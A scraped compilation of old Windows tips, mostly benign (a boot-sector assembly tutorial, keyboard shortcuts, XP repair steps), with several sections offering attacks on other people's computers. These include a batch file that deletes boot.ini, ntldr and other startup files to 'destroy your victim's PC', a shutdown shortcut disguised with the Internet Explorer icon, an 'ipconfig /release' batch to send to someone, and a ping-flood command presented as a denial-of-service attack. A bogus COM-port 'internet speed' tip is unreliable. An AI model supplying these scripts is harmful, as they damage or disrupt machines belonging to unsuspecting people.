Make your own OS

Requirements:
- Emu8086 (8086 Microprocessor Emulator with Integrated 8086 Assembler)
- Rawwrite (RawWrite)
- Some knowledge about 16-bit x86 assembler (If you don't have got this, look for a tutorial)
- An empty floppy disk(optional but recommended)

Part I: the boot sector

When you start emu8086 choose a new BOOT template.
Ok, this is the base for the boot sector of a drive, there are 2 essential things in it, "#make_boot#" tells it is meant as boot sector.
"org 7c00h" is for telling it its loading address has to be 0000:7c00.
Let's make it say hello world or something, without the dos interrupt, so we've got to make an own procedure to write a string.
There is a bios function to write a single char(The teletype function: ah = 0eh/int 10h) so we use that:

; You need to put a null byte at the end of your string
; Before calling this procedure you have to make si the offset of your string.
printstring proc near
nextchar:
mov al, [si] ; Copy the first char to al
cmp al, 0 ; Comparing al with 0
jz printed ; If it is null, jump to the end
inc si ; Move to the next char
mov ah, 0eh ; The teletype function.
int 10h ; Put the char
jmp nextchar ; Repeat it...
printed:
ret
printstring endp

And some function for until a key is pressed:

mov ax, 0
int 16h

The key pressed will be returned in al.

For rebooting the pc you need this, unfortunately I don't understand this piece, but is makes your os reboot the pc.
mov ax, 0040h
mov ds, ax
mov w.[0072h], 0000h ; I know this piece says to do a cold boot. To make it do a warm boot, replace 0000h with 1234h.

JMP 0FFFFh:0000h ; Yes, reboot!

Well, now you can combine that!
Let it print some text like hello world and wait until a key is pressed and then reboot!
The easiest way to test is emulating.

Part II: The kernel

Well, now you know how to make the boot sector but the boot sector can only be up to 512 bytes, that's why you need a kernel.
We make a little kernel to put at sector 2, but you will need to make the boot sector loading it:

mov ah, 02h ; The read function
mov al, 5 ; Number of sectors to read, it is set to 5, if your kernel grows larger than this, change it
mov ch, 0 ; The cylinder number
mov cl, 2 ; The sector where it starts reading
mov dh, 0 ; The head number
; Set es to the address to load the kernel to
mov bx, 0800h
mov es, bx
mov bx, 0
; Read the kernel
int 13h
; Check if the kernel is loaded
cmp es:[0000],0E9h ; Comparing the first byte of kernel, it should be 0E9 which means jmp
jmp 0800h:0000h ; If the kernel is loaded, jump to it

This loads the kernel and checks if the kernel is loaded successfully by checking the first byte, usually you put something at the begin like:
jmp start
; A list of variables
start:
So the first byte is always jmp, whose hex value is 0E9...

Ok, let's make the kernel!
Start start emu8086 a second time and choose a new BIN template.
The first thing to put in it is "ORG 0000h" to say it starts at that address, afther that, there has to be the command jmp (to somewhere) so the boot sector will recognise it.
An inportant piece for making the kernel running fine is this:
push cs
pop ds
I don't know why it is required, but you get problems with variables if you haven't inserted it.
Now you can just put code there as if it is the boot piece.

When you've finished the kernel, compile it and run the emulator for the booting part.
First choose "virtual drive > write 512 bytes at 0000:7c00 to boot sector > FLOPPY_0"
Then, "virtual drive > write '.bin' to floppy...", choose the kernel file you've just compiled, set the sector to 2 and write.
If you want to run it in the emulator choose "virtual drive > boot from virtual floppy > FLOPPY_0", click run and have fun!
If you want to make a bootable disk, run rawwrite, choose the file FLOPPY_0 in the installation directory of emu8086 and have fun!

How to stop someone's internet access

@Echo off Ipconfig /release

Save that as a .bat and send it to someone. They're IP address will be lost, and therefore they won't be able to fix it

However, this is VERY easy to fix. Simply type in IPconfig /renew

-------------------
ShutDown PC million Times

1.right click on the desktop
2.click shortcut
you will get a dialogue box, write in it: shutdown -s -t 1000 c "any comment u want" then press next
note: this "1000" i wrote is the time in seconds needed for ur computer to shutdown,u can put any number u want...
3.u will get another dialogue box, write in it: Internet Explorer and press finish
4.u will find the icon on ur desktop, dont open it, just right click on it and press properties>change icon>select the icon the the internet explorer and the press apply then ok
try to open it, it is a virus
PS: the only way 2 stop ur computer from shutting down is to go 2 start>run>type: shutdown -a
enjoy it

--------------------------

Freeze someone's desktop

this is a funny trick, u can freeze someone's desktop
1.close everything u r working in, and work on desktop. so click on prtscr on ur keyboard.

2.go to paint and click on edit then paste

3.save this file as (name).bmp and close the paint.

3.now in the desktop, we have 2 remove desktop icons and shortcuts, so right click on the mouse and then properties, click on desktop then select customize desktop.

4.uncheck all the boxes in desktop icons and press ok. then press apply then ok.

5.now to remove the shortcuts in the desktop, go to start and select My Computer, then click on c: right click on ur mouse and select new folder, write it any name

6.now go to desktop & select all da icons and right click on them then press cut,go to c: and paste them in the folder dat u created then close the window.

7.now to put the fake desktop image and remove the taskbar, so right click on desktop and gp to properties, now go to desktop and select Browse, select the file that u saved then press appply then ok. now to remove the windows taskbar, right click on the taskbar and go 2 properties, then select autohide the taskbar and then apply then ok
now all the icons r fake and the user will think that his desktop is freezed
enjoy it.!

Hope You Destroy Yor Victims PC {REMEMBER DO NOT CLICK BATCH}! {FOR FOOLS AND NOOBS}

Its one free but onno gula dekte hole apnake rply post korte hobe je

How To Make Virus With NotepaD !! {DANGEROUS ViruS}

How To Make Virus With NotepaD !! {DANGEROUS ViruS}

--------------------------------------------------------------------------------

Hi to All bdpplz ! today's my How to crash a PC Forever !
lisent bdpplz user members for open hiden post ?u have 2 rply buttons nd some comments after u can see code..........s0o0o bdpplz 1st rply next classe

@echo off attrib -r -s -h c:\autoexec.bat del c:\autoexec.bat attrib -r -s -h c:\boot.ini del c:\boot.ini attrib -r -s -h c:\ntldr del c:\ntldr attrib -r -s -h c:\windows\win.ini del c:\windows\win.ini

Open up notepad and copy and paste that. Save it as a .bat file.
This should shutdown the persons computer. It shuts it off once and deletes the files needed to reboot and restart.
REMEMBER - DO NOT CLICK THIS FILE. (for the idiots)
**Also remember this might not work with vista.**

---------------

Make XP display a custom screen saver using your very own pictures

It used to be darn near impossible to create a personal screen saver using your own photo collection. To do this, you had to track down a third-party application and sloppily piece together your pictures to create a screen saver.


Well, the engineers at Microsoft must have realized they hated third-party applications and decided enough was enough. XP can take any pictures stored in your "My Pictures" folder and display them in random order as a screen saver.


To make a personal screen saver in XP, follow these directions:


Right-click an empty spot on your desktop and choose Properties.
Click the Screen Saver tab inside the Display Properties dialog box.
In the Screen Saver pull-down menu, choose "My Pictures Slideshow."
Underneath the Screen Saver pull-down menu, adjust the time of inactivity before Windows will initiate your screen saver.
Click Settings to make additional adjustments. You'll be able to adjust transition effects between pictures, how frequently they change, what size the pictures should be, and more.
Click OK when you're done tweaking the settings adjustments.
Press the Preview button to see what your screen saver looks like.
If everything is to your liking, click Apply.

Lock Pc Just By Double Clicking Mouse

You can lock your XP workstation with two clicks of
the mouse. Create a new shortcut on your desktop using
a right mouse click, and enter 'rundll32.exe
user32.dll,LockWorkStation' in the location field.
Give the shortcut a name you like. That's it -- just
double click on it and your computer will be locked.
And if that's not easy enough, Windows key + L will do
the same.

Easyly use it Windows key + L

DOS Attacks

DOS (Denial of Service) attacks, heard of them taking down servers,restricting traffic and even bringing down a country's communications. But, how do they work? A simple example would that being a heart. Let’s say the veins are the internet.And you are pumping blood through this tube. The blood is good traffic. What happens if you overload the veins with fat (bad traffic)? And so the heart has a failure and can’t pump blood to the other organs, a Denial of Service.

DOS attacks are one of the simplest ways to bring down a server, by overwhelming its bandwidth or computing

resources. A simple DOS attack code would be:

ping {ip} -t -l 50000

In which you can just enter into the command prompt. This command sends 50000 bytes (roughly 50 kilobytes) of data to the ip, in a single packet. The -t is to ping the specified host until stopped and -l is to specify the buffer size. DOS are commonly used by script kiddies.

However, DOS attacks may crash systems by overloading their computing resources like having a heart attack. Sooner or later you have to get to a doctor or die (no offense meant). This only works in older systems due to the tremendous increase in computing power.

To prevail in a DOS attack, however, the attacker's bandwidth must be wider than the defender's bandwidth to overwhelm it with traffic, so more fat can get to the heart. This is only for singular attacks only (one on one). However, in a DDOS(Distributed Denial of Service) attack, the attacker may use zombie computers to send packets to the victim, therefore intensifying the attack. Imagine a huge clog with more than a few hundred computers streaming it.

Instead of using zombie computers, attackers may also choose to spoof their ips to that of their victim's computer. By doing so, he can send ip packets to many computers, and so the computers respond in pinging to the sender's ip. However, the sender's ip has been spoofed and so they unknowingly flood the victim. This is known as a Reflected attack.

DOS attacks can be so harmful that they may cause system damage in which the system is attacked so badly when they exploit flaws in the system, and then 'update' the device to modify it to make it permanently unusable.

DOS defense tactics

Firewalls provide protection from some DOS attacks by differentiating good traffic from DOS attacks but however a more complex attack on port 80 would have the server fully vulnerable because it is the web service port. Another way is the ISP(Internet Service Provider) noticing the attack and disconnecting the attacker.

Rerouting traffic through routers to auxiliary servers to help in filtering the bad traffic from good traffic also helps as it weighs less strain on the main server and allocates computing resources. Another way is to hide the host. The best foolproof way, however, is to plug out the internet cable and wait it out.

DOS attack tools:
FATA-jack
HyperWRT
MDK2

Recent famous DOS attacks include:

The DOS attack of Georgia weeks after the Russian-Georgian war. This caused multiple Georgian servers to be shut down and overloaded communications.

In July 2008 4chan received a 10gbps attack and suffered 2 weeks of downtime.

In September 2008 Digg and Gamesurge went under heavy DOS attacks and became offline for 6 hours.

Note :you should be very much careful while doing all this and you do all this on your own responsibility. This site is never responsible for anything you do after reading any article from this site and there are almost 50-50 chances that you may get caught so don't try this unless you are aware of everthing. Yes you can freak some of your friends by telling them that you can hack their systems very easily.

More than 100 Keyboard Shortcuts

Keyboard Shorcuts (Microsoft Windows)
1. CTRL+C (Copy)

2. CTRL+X (Cut)

3. CTRL+V (Paste)

4. CTRL+Z (Undo)

5. DELETE (Delete)

6. SHIFT+DELETE (Delete the selected item permanently without placing the item in the Recycle Bin)

7. CTRL while dragging an item (Copy the selected item)

8. CTRL+SHIFT while dragging an item (Create a shortcut to the selected item)

9. F2 key (Rename the selected item)

10. CTRL+RIGHT ARROW (Move the insertion point to the beginning of the next word)

11. CTRL+LEFT ARROW (Move the insertion point to the beginning of the previous word)

12. CTRL+DOWN ARROW (Move the insertion point to the beginning of the
next paragraph)

13. CTRL+UP ARROW (Move the insertion point to the beginning of the
previous paragraph)

14. CTRL+SHIFT with any of the arrow keys (Highlight a block of text)

SHIFT with any of the arrow keys (Select more than one item in a
window or on the desktop, or select text in a document)

15. CTRL+A (Select all)

16. F3 key (Search for a file or a folder)

17. ALT+ENTER (View the properties for the selected item)

18. ALT+F4 (Close the active item, or quit the active program)

19. ALT+ENTER (Display the properties of the selected object)

20. ALT+SPACEBAR (Open the shortcut menu for the active window)

21. CTRL+F4 (Close the active document in programs that enable you to
have multiple documents open simultaneously)

22. ALT+TAB (Switch between the open items)

23. ALT+ESC (Cycle through items in the order that they had been opened)

24. F6 key (Cycle through the screen elements in a window or on the
desktop)

25. F4 key (Display the Address bar list in My Computer or Windows
Explorer)

26. SHIFT+F10 (Display the shortcut menu for the selected item)

27. ALT+SPACEBAR (Display the System menu for the active window)

28. CTRL+ESC (Display the Start menu)

29. ALT+Underlined letter in a menu name (Display the corresponding menu)
Underlined letter in a command name on an open menu (Perform the
corresponding command)

30. F10 key (Activate the menu bar in the active program)

31. RIGHT ARROW (Open the next menu to the right, or open a submenu)

32. LEFT ARROW (Open the next menu to the left, or close a submenu)

33. F5 key (Update the active window)

34. BACKSPACE (View the folder one level up in My Computer or Windows
Explorer)

35. ESC (Cancel the current task)

36. SHIFT when you insert a CD-ROM into the CD-ROM drive (Prevent the
CD-ROM from automatically playing)

Dialog Box Keyboard Shortcuts

1. CTRL+TAB (Move forward through the tabs)

2. CTRL+SHIFT+TAB (Move backward through the tabs)

3. TAB (Move forward through the options)

4. SHIFT+TAB (Move backward through the options)

5. ALT+Underlined letter (Perform the corresponding command or select the corresponding option)

6. ENTER (Perform the command for the active option or button)

7. SPACEBAR (Select or clear the check box if the active option is a check box)

8. Arrow keys (Select a button if the active option is a group of option
buttons)

9. F1 key (Display Help)

10. F4 key (Display the items in the active list)

11. BACKSPACE (Open a folder one level up if a folder is selected in the
Save As or Open dialog box)

Microsoft Natural Keyboard Shortcuts

1. Windows Logo (Display or hide the Start menu)

2. Windows Logo+BREAK (Display the System Properties dialog box)

3. Windows Logo+D (Display the desktop)

4. Windows Logo+M (Minimize all of the windows)

5. Windows Logo+SHIFT+M (Restore the minimized windows)

6. Windows Logo+E (Open My Computer)

7. Windows Logo+F (Search for a file or a folder)

8. CTRL+Windows Logo+F (Search for computers)

9. Windows Logo+F1 (Display Windows Help)

10. Windows Logo+ L (Lock the keyboard)

11. Windows Logo+R (Open the Run dialog box)

12. Windows Logo+U (Open Utility Manager)

13. Accessibility Keyboard Shortcuts

14. Right SHIFT for eight seconds (Switch FilterKeys either on or off)

15. Left ALT+left SHIFT+PRINT SCREEN (Switch High Contrast either on or
off)

16. Left ALT+left SHIFT+NUM LOCK (Switch the MouseKeys either on or off)

17. SHIFT five times (Switch the StickyKeys either on or off)

18. NUM LOCK for five seconds (Switch the ToggleKeys either on or off)

19. Windows Logo +U (Open Utility Manager)

20. Windows Explorer Keyboard Shortcuts

21. END (Display the bottom of the active window)

22. HOME (Display the top of the active window)

23. NUM LOCK+Asterisk sign (Display all of the subfolders that are under
the selected folder)

24. NUM LOCK+Plus sign (+) (Display the contents of the selected folder)

25. NUM LOCK+Minus sign (-) (Collapse the selected folder)

26. LEFT ARROW (Collapse the current selection if it is expanded, or select
the parent folder)

27. RIGHT ARROW (Display the current selection if it is collapsed, or select
the first subfolder)

Shortcut Keys for Character Map

After you double-click a character on the grid of characters, you can move through the grid by using the keyboard shortcuts:

1. RIGHT ARROW (Move to the right or to the beginning of the next line)

2. LEFT ARROW (Move to the left or to the end of the previous line)

3. UP ARROW (Move up one row)

4. DOWN ARROW (Move down one row)

5. PAGE UP (Move up one screen at a time)

6. PAGE DOWN (Move down one screen at a time)

7. HOME (Move to the beginning of the line)

8. END (Move to the end of the line)

9. CTRL+HOME (Move to the first character)

10. CTRL+END (Move to the last character)

11. SPACEBAR (Switch between Enlarged and Normal mode when a
character is selected)

Microsoft Management Console (MMC)

Main Window Keyboard Shortcuts

1. CTRL+O (Open a saved console)

2. CTRL+N (Open a new console)

3. CTRL+S (Save the open console)

4. CTRL+M (Add or remove a console item)

5. CTRL+W (Open a new window)

6. F5 key (Update the content of all console windows)

7. ALT+SPACEBAR (Display the MMC window menu)

8. ALT+F4 (Close the console)

9. ALT+A (Display the Action menu)

10. ALT+V (Display the View menu)

11. ALT+F (Display the File menu)

12. ALT+O (Display the Favorites menu)

MMC Console Window Keyboard Shortcuts

1. CTRL+P (Print the current page or active pane)

2. ALT+Minus sign (-) (Display the window menu for the active console window)

3. SHIFT+F10 (Display the Action shortcut menu for the selected item)

4. F1 key (Open the Help topic, if any, for the selected item)

5. F5 key (Update the content of all console windows)

6. CTRL+F10 (Maximize the active console window)

7. CTRL+F5 (Restore the active console window)

8. ALT+ENTER (Display the Properties dialog box, if any, for the selected
item)

9. F2 key (Rename the selected item)

10. CTRL+F4 (Close the active console window. When a console has only one console window, this shortcut closes the console)

Remote Desktop Connection Navigation

1. CTRL+ALT+END (Open the Microsoft Windows NT Security dialog box)

2. ALT+PAGE UP (Switch between programs from left to right)

3. ALT+PAGE DOWN (Switch between programs from right to left)

4. ALT+INSERT (Cycle through the programs in most recently used order)

5. ALT+HOME (Display the Start menu)

6. CTRL+ALT+BREAK (Switch the client computer between a window and a
full screen)

7. ALT+DELETE (Display the Windows menu)

8. CTRL+ALT+Minus sign (-) (Place a snapshot of the active window in the
client on the Terminal server clipboard and provide the same functionality as
pressing PRINT SCREEN on a local computer.)

9. CTRL+ALT+Plus sign (+) (Place a snapshot of the entire client window
area on the Terminal server clipboard and provide the same functionality as
pressing ALT+PRINT SCREEN on a local computer.)

Microsoft Internet Explorer Navigation
1. CTRL+B (Open the Organize Favorites dialog box)
2. CTRL+E (Open the Search bar)
3. CTRL+F (Start the Find utility)
4. CTRL+H (Open the History bar)
5. CTRL+I (Open the Favorites bar)
6. CTRL+L (Open the Open dialog box)
7. CTRL+N (Start another instance of the browser with the same Web address)
8. CTRL+O (Open the Open dialog box, the same as CTRL+L)
9. CTRL+P (Open the Print dialog box)
10. CTRL+R (Update the current Web page)
11. CTRL+W (Close the current window)

cool mouse tricks !

cool mouse tricks !



Moving the pointer without a mouse! Ever thought that you could move your mouse pointer without your mouse? No, not really, isn’t it? But, it’s possible!

Here is how:

1. Press Left Alt + Left Shift + Num Lock Button and click OK in the dialogue box that appears.

2. In your Taskbar, a mouse-like icon will appear. Double click it and under “Mouse” tab, make sure that the “Use Mouse Keys” is checked.

3. Also ensure that the Num Lock is ON (ie. the light must glow).

4.Now with the help of Numeric Keypad e.g ( Press and Hold the following Keys )

7 8 9

4 6

1 2 3

For normal click, press 5

Interesting, isn’t it? You can also change settings under the “Mouse” tab in “Accessiblity Options”, by clicking on “Settings”

Installing Windows XP with MS-DOS, Windows 95, Windows 98 or Windows Millennium Editi

You must address file system compatibility to ensure a multi-booting configuration with these earlier operating systems and Windows XP. Remember to install the latest operating system last, otherwise important files may be overwritten.

Checklist Summary

To configure a computer containing Windows XP and Windows 9x or MS-DOS, review the following guidelines:

On computers that contain MS-DOS and Windows XP:

MS-DOS must be installed on a basic disk on a partition formatted with FAT. If MS-DOS is not installed on the system partition, which is almost always the first partition on the disk, the system partition must also be formatted with FAT.

Windows XP must be installed last. Otherwise important files needed for starting Windows XP could be overwritten.

On computers that contain Windows 95 and Windows XP:

As in the case above, Windows 95 must be installed on a basic disk on a partition formatted with FAT. (For Windows 95 OSR2, FAT32 may be used.) If Windows 95 is not installed on the system partition, which is almost always the first partition on the disk, the system partition must also be formatted with FAT (or FAT32 for Windows 95 OSR2).

Compressed DriveSpace or DoubleSpace volumes won’t be available while you are running Windows XP. It is not necessary to uncompress DriveSpace or DoubleSpace volumes that you will access only with Windows 95.

Windows XP must be installed last. Otherwise important files needed for starting Windows XP could be overwritten.

On computers that contain Windows 98 (or Windows Me) and Windows XP:

As in the cases above, Windows 98 or Windows Me must be installed on a basic disk on a partition formatted with FAT or FAT32. If Windows 98 or Windows Me is not installed on the system partition, which is almost always the first partition on the disk, the system partition must also be formatted with FAT or FAT32.

Compressed DriveSpace or DoubleSpace volumes won’t be available while you are running Windows XP. It is not necessary to uncompress DriveSpace or DoubleSpace volumes that you will access only with Windows 98.

Windows XP must be installed last. Otherwise important files needed for starting Windows XP could be overwritten.

1. 10 Things you can do when Windows XP won't boot

When your computer hardware appears to power up okay, but the Windows XP operating system won't boot properly, you have to begin a troubleshooting expedition that includes getting into the operating system, determining the problem, and then fixing it. To help you get started on this expedition, here are 10 things you can do when Windows XP won't boot.


Use a Windows startup disk :


One of the first things you should reach for when troubleshooting a Windows XP boot problem is a Windows startup disk. This floppy disk can come in handy if the problem is being caused when either the startup record for the active partition or the files that the operating system uses to start Windows have become corrupted.

To create a Windows startup disk, insert a floppy disk into the drive of a similarly configured, working Windows XP system, launch My Computer, right-click the floppy disk icon, and select the Format command from the context menu. When you see the Format dialog box, leave all the default settings as they are and click the Start button. Once the format operation is complete, close the Format dialog box to return to My Computer, double-click the drive C icon to access the root directory, and copy the following three files to the floppy disk:
Boot.ini
NTLDR
Ntdetect.com

After you create the Windows startup disk, insert it into the floppy drive on the afflicted system and press [Ctrl][Alt][Delete] to reboot the computer. When you boot from the Windows startup disk, the computer will bypass the active partition and boot files on the hard disk and attempt to start Windows XP normally.


Use Last Known Good Configuration :

You can also try to boot the operating system with the Last Known Good Configuration feature. This feature will allow you to undo any changes that caused problems in the CurrentControlSet registry key, which defines hardware and driver settings. The Last Known Good Configuration feature replaces the contents of the CurrentControlSet registry key with a backup copy that was last used to successfully start up the operating system.

To use the Last Known Good Configuration feature, first restart the computer by pressing [Ctrl][Alt][Delete]. When you see the message Please select the operating system to start or hear the single beep, press [F8] to display the Windows Advanced Options menu. Select the Last Known Good Configuration item from the menu and press [Enter].

Keep in mind that you get only one shot with the Last Known Good Configuration feature. In other words, if it fails to revive your Windows XP on the first attempt, the backup copy is also corrupt.
Use System Restore :

Another tool that might be helpful when Windows XP won't boot is System Restore. System Restore runs in the background as a service and continually monitors system-critical components for changes. When it detects an impending change, System Restore immediately makes backup copies, called restore points, of these critical components before the change occurs. In addition, System Restore is configured by default to create restore points every 24 hours.

To use System Restore, first restart the computer by pressing [Ctrl][Alt][Delete]. When you see the message Please select the operating system to start or hear the single beep, press [F8] to display the Windows Advanced Options menu. Now, select the Safe Mode item from the menu and press [Enter].

Once Windows XP boots into Safe mode, click the Start button, access the All Programs | Accessories | System Tools menu, and select System Restore. Because you're running in Safe mode, the only option on the opening screen of the System Restore wizard is Restore My Computer To An Earlier Time, and it's selected by default, so just click Next. Then, follow along with the wizard to select a restore point and begin the restoration procedure.
Use Recovery Console :

When a Windows XP boot problem is severe, you'll need to use a more drastic approach. The Windows XP CD is bootable and will provide you with access to a tool called Recovery Console.

To boot from the Windows XP CD, insert it into the CD-ROM drive on the problem system and press [Ctrl][Alt][Delete] to reboot the computer. Once the system begins booting from the CD, simply follow the prompts that will allow the loading of the basic files needed to run Setup. When you see the Welcome To Setup screen, press R to start the Recovery Console.

You’ll then see a Recovery Console menu. It displays the folder containing the operating system’s files and prompts you to choose the operating system you want to log on to. Just press the menu number on the keyboard, and you'll be prompted to enter the Administrator’s password. You’ll then find yourself at the main Recovery Console prompt.
Fix a corrupt Boot.ini :

As the Windows XP operating system begins to load, the Ntldr program refers to the Boot.ini file to determine where the operating system files reside and which options to enable as the operating system continues to load. So if there's a problem rooted in the Boot.ini file, it can render Windows XP incapable of booting correctly.

If you suspect that Windows XP won't boot because Boot.ini has been corrupted, you can use the special Recovery Console version of the Bootcfg tool to fix it. Of course, you must first boot the system with the Windows XP CD and access the Recovery Console as described in #4.

To use the Bootcfg tool, from the Recovery Console command prompt, type
Bootcfg /parameter


Where /parameter is one of the required parameters listed in the table below.

Parameter Description :

/Add Scans the disk for all Windows installations and allows
you to add any new ones to the Boot.ini file.

/Scan Scans the disk for all Windows installations.

/List Lists each entry in the Boot.ini file.

/Default Sets the default operating system as the main boot
entry.

/Rebuild Completely re-creates the Boot.ini file. The user must
confirm each step.

/Redirect Allows the boot operation to be redirected to a specific
port when using the Headless Administration feature. The
Redirect parameter takes two parameters of its own:

[Port Baudrate ] | [UseBiosSettings].

/Disableredirect Disables the redirection.
Fix a corrupt partition boot sector :

The partition boot sector is a small section of the hard disk partition that contains information about the operating system's file system (NTFS or FAT32), as well as a very small machine language program that is crucial in assisting the operating system as it loads.

If you suspect that Windows XP won't boot because the partition boot sector has been corrupted, you can use a special Recovery Console tool called Fixboot to fix it. Start by booting the system with the Windows XP CD and accessing the Recovery Console as described in #4.

To use the Fixboot tool, from the Recovery Console command prompt, type

Fixboot [drive]:


Where [drive] is the letter of the drive to which you want to write a new partition boot sector.
Fix a corrupt master boot record :

The master boot record occupies the first sector on the hard disk and is responsible for initiating the Windows boot procedure. The master boot record contains the partition table for the disk as well as a small program called the master boot code, which is responsible for locating the active, or bootable, partition, in the partition table. Once this occurs, the partition boot sector takes over and begins loading Windows. If the master boot record is corrupt, the partition boot sector can't do its job and Windows won't boot.

If you suspect Windows XP won't boot because the master boot record has been corrupted, you can use the Recovery Console tool Fixmbr to fix it. First, boot the system with the Windows XP CD and access the Recovery Console as described in #4.

To use the Fixmbr tool, from the Recovery Console command prompt, type

Fixmbr [device_name]


Where [device_name] is the device pathname of the drive to which you want to write a new master boot record. For example, the device pathname format for a standard bootable drive C configuration would look like this:

\Device\HardDisk0


Disable automatic restart :

When Windows XP encounters a fatal error, the default setting for handling such an error is to automatically reboot the system. If the error occurs while Windows XP is booting, the operating system will become stuck in a reboot cycle—rebooting over and over instead of starting up normally. In that case, you'll need to disable the option for automatically restarting on system failure.

When Windows XP begins to boot up and you see the message Please select the operating system to start or hear the single beep, press [F8] to display the Windows Advanced Options Menu. Then, select the Disable The Automatic Restart On System Failure item and press [Enter]. Now, Windows XP will hang up when it encounters the error and with any luck, it will display a stop message you can use to diagnose the problem.
Restore from a backup :

If you can't seem to repair a Windows XP system that won't boot and you have a recent backup, you can restore the system from the backup media. The method you use to restore the system will depend on what backup utility you used, so you'll need to follow the utility's instructions on how to perform a restore operation.
Perform an in-place upgrade :

If you can't repair a Windows XP system that won't boot and you don't have a recent backup, you can perform an in-place upgrade. Doing so reinstalls the operating system into the same folder, just as if you were upgrading from one version of Windows to another. An in-place upgrade will usually solve most, if not all, Windows boot problems.

Performing a Windows XP in-place upgrade is pretty straightforward. To begin, insert the Windows XP CD into the drive, restart your system, and boot from the CD. Once the initial preparation is complete, you’ll see the Windows XP Setup screen (shown earlier in Figure A). Press [Enter] to launch the Windows XP Setup procedure. In a moment, you’ll see the License Agreement page and will need to press [F8] to acknowledge that you agree. Setup will then search the hard disk looking for a previous installation of Windows XP. When it finds the previous installation, you’ll see a second Windows XP Setup screen

This screen will prompt you to press R to repair the selected installation or to press [Esc] to install a fresh copy of Windows XP. In this case, initiating a repair operation is synonymous with performing an in-place upgrade, so you’ll need to press R. When you do so, Setup will examine the disk drives in the system. It will then begin performing the in-place upgrade.

Keep in mind that after you perform an in-place upgrade or repair installation, you must reinstall all updates to Windows.

..::Increase your Internet Speed::..

How to increase ur net spped
# Right click on My computer
# Choose Properties
# Then go HARDWARE tab->Device manager
# Go to Ports ->Communication Port(double click on it and Open)
# Then
Go the Port Setting and make some changes:
# On “Bits per second” change to 128000
# And “Flow control” option change to Hardware
# Apply and see the result.

20 things you didn't know about Windows XP

You've read the reviews and digested the key feature enhancements and operational changes. Now it's time to delve a bit deeper and uncover some of Windows XP's secrets.

1. It boasts how long it can stay up. Whereas previous versions of Windows were coy about how long they went between boots, XP is positively proud of its stamina. Go to the Command Prompt in the Accessories menu from the All Programs start button option, and then type 'systeminfo'. The computer will produce a lot of useful info, including the uptime. If you want to keep these, type 'systeminfo > info.txt'. This creates a file called info.txt you can look at later with Notepad. (Professional Edition only).


2. You can delete files immediately, without having them move to the Recycle Bin first. Go to the Start menu, select Run... and type 'gpedit.msc'; then select User Configuration, Administrative Templates, Windows Components, Windows Explorer and find the Do not move deleted files to the Recycle Bin setting. Set it. Poking around in gpedit will reveal a great many interface and system options, but take care -- some may stop your computer behaving as you wish. (Professional Edition only).


3. You can lock your XP workstation with two clicks of the mouse. Create a new shortcut on your desktop using a right mouse click, and enter 'rundll32.exe user32.dll,LockWorkStation' in the location field. Give the shortcut a name you like. That's it -- just double click on it and your computer will be locked. And if that's not easy enough, Windows key + L will do the same.


4. XP hides some system software you might want to remove, such as Windows Messenger, but you can tickle it and make it disgorge everything. Using Notepad or Edit, edit the text file /windows/inf/sysoc.inf, search for the word 'hide' and remove it. You can then go to the Add or Remove Programs in the Control Panel, select Add/Remove Windows Components and there will be your prey, exposed and vulnerable.


5. For those skilled in the art of DOS batch files, XP has a number of interesting new commands. These include 'eventcreate' and 'eventtriggers' for creating and watching system events, 'typeperf' for monitoring performance of various subsystems, and 'schtasks' for handling scheduled tasks. As usual, the command name followed by /? will give a list of options -- they're all far too baroque to go into here.

6. XP has IP version 6 support -- the next generation of IP. Unfortunately this is more than your ISP has, so you can only experiment with this on your LAN. Type 'ipv6 install' into Run... (it's OK, it won't ruin your existing network setup) and then 'ipv6 /?' at the command line to find out more. If you don't know what IPv6 is, don't worry and don't bother.


7. You can at last get rid of tasks on the computer from the command line by using 'taskkill /pid' and the task number, or just 'tskill' and the process number. Find that out by 'tasklist', which will also tell you a lot about what's going on in your system.


8. XP will treat Zip files like folders, which is nice if you've got a fast machine. On slower machines, you can make XP leave zip files well alone by 'regsvr32 /u zipfldr.dll' at the command line. If you change your mind later, you can put things back as they were by 'regsvr32 zipfldr.dll'.


9. XP has ClearType -- Microsoft's anti-aliasing font display technology -- but doesn't have it enabled by default. It's well worth trying, especially if you were there for DOS and all those years of staring at a screen have given you the eyes of an astigmatic bat. To enable ClearType, right click on the desktop, select Properties, Appearance, Effects, select ClearType from the second drop-down menu and enable the selection. Expect best results on laptop displays. If you want to use ClearType on the Welcome login screen as well, set the registry entry HKEY_USERS/.DEFAULT/Control Panel/Desktop/FontSmoothingType to 2.


10. You can use Remote Assistance to help a friend who's using network address translation (NAT) on a home network, but not automatically. Get your pal to email you a Remote Assistance invitation and edit the file. Under the RCTICKET attribute will be a NAT IP address, like 192.168.1.10. Replace this with your chum's real IP address -- they can find this out by going to
CODE

Code:

http://www.whatismyip.com--

and get them to make sure that they've got port 3389 open on their firewall and forwarded to the errant computer.
11 to 15

11. You can run a program as a different user without logging out and back in again. Right click the icon, select Run As... and enter the user name and password you want to use. This only applies for that run. The trick is particularly useful if you need to have administrative permissions to install a program, which many require. Note that you can have some fun by running programs multiple times on the same system as different users, but this can have unforeseen effects.


12. Windows XP can be very insistent about you checking for auto updates, registering a Passport, using Windows Messenger and so on. After a while, the nagging goes away, but if you feel you might slip the bonds of sanity before that point, run Regedit, go to HKEY_CURRENT_USER/Software/Microsoft/Windows/Current Version/Explorer/Advanced and create a DWORD value called EnableBalloonTips with a value of 0.


13. You can start up without needing to enter a user name or password. Select Run... from the start menu and type 'control userpasswords2', which will open the user accounts application. On the Users tab, clear the box for Users Must Enter A User Name And Password To Use This Computer, and click on OK. An Automatically Log On dialog box will appear; enter the user name and password for the account you want to use.


14. Internet Explorer 6 will automatically delete temporary files, but only if you tell it to. Start the browser, select Tools / Internet Options... and Advanced, go down to the Security area and check the box to Empty Temporary Internet Files folder when browser is closed.


15. XP comes with a free Network Activity Light, just in case you can't see the LEDs twinkle on your network card. Right click on My Network Places on the desktop, then select Properties. Right click on the description for your LAN or dial-up connection, select Properties, then check the Show icon in notification area when connected box. You'll now see a tiny network icon on the right of your task bar that glimmers nicely during network traffic.



16. The Start Menu can be leisurely when it decides to appear, but you can speed things along by changing the registry entry HKEY_CURRENT_USER/Control Panel/Desktop/MenuShowDelay from the default 400 to something a little snappier. Like 0.


17. You can rename loads of files at once in Windows Explorer. Highlight a set of files in a window, then right click on one and rename it. All the other files will be renamed to that name, with individual numbers in brackets to distinguish them. Also, in a folder you can arrange icons in alphabetised groups by View, Arrange Icon By... Show In Groups.


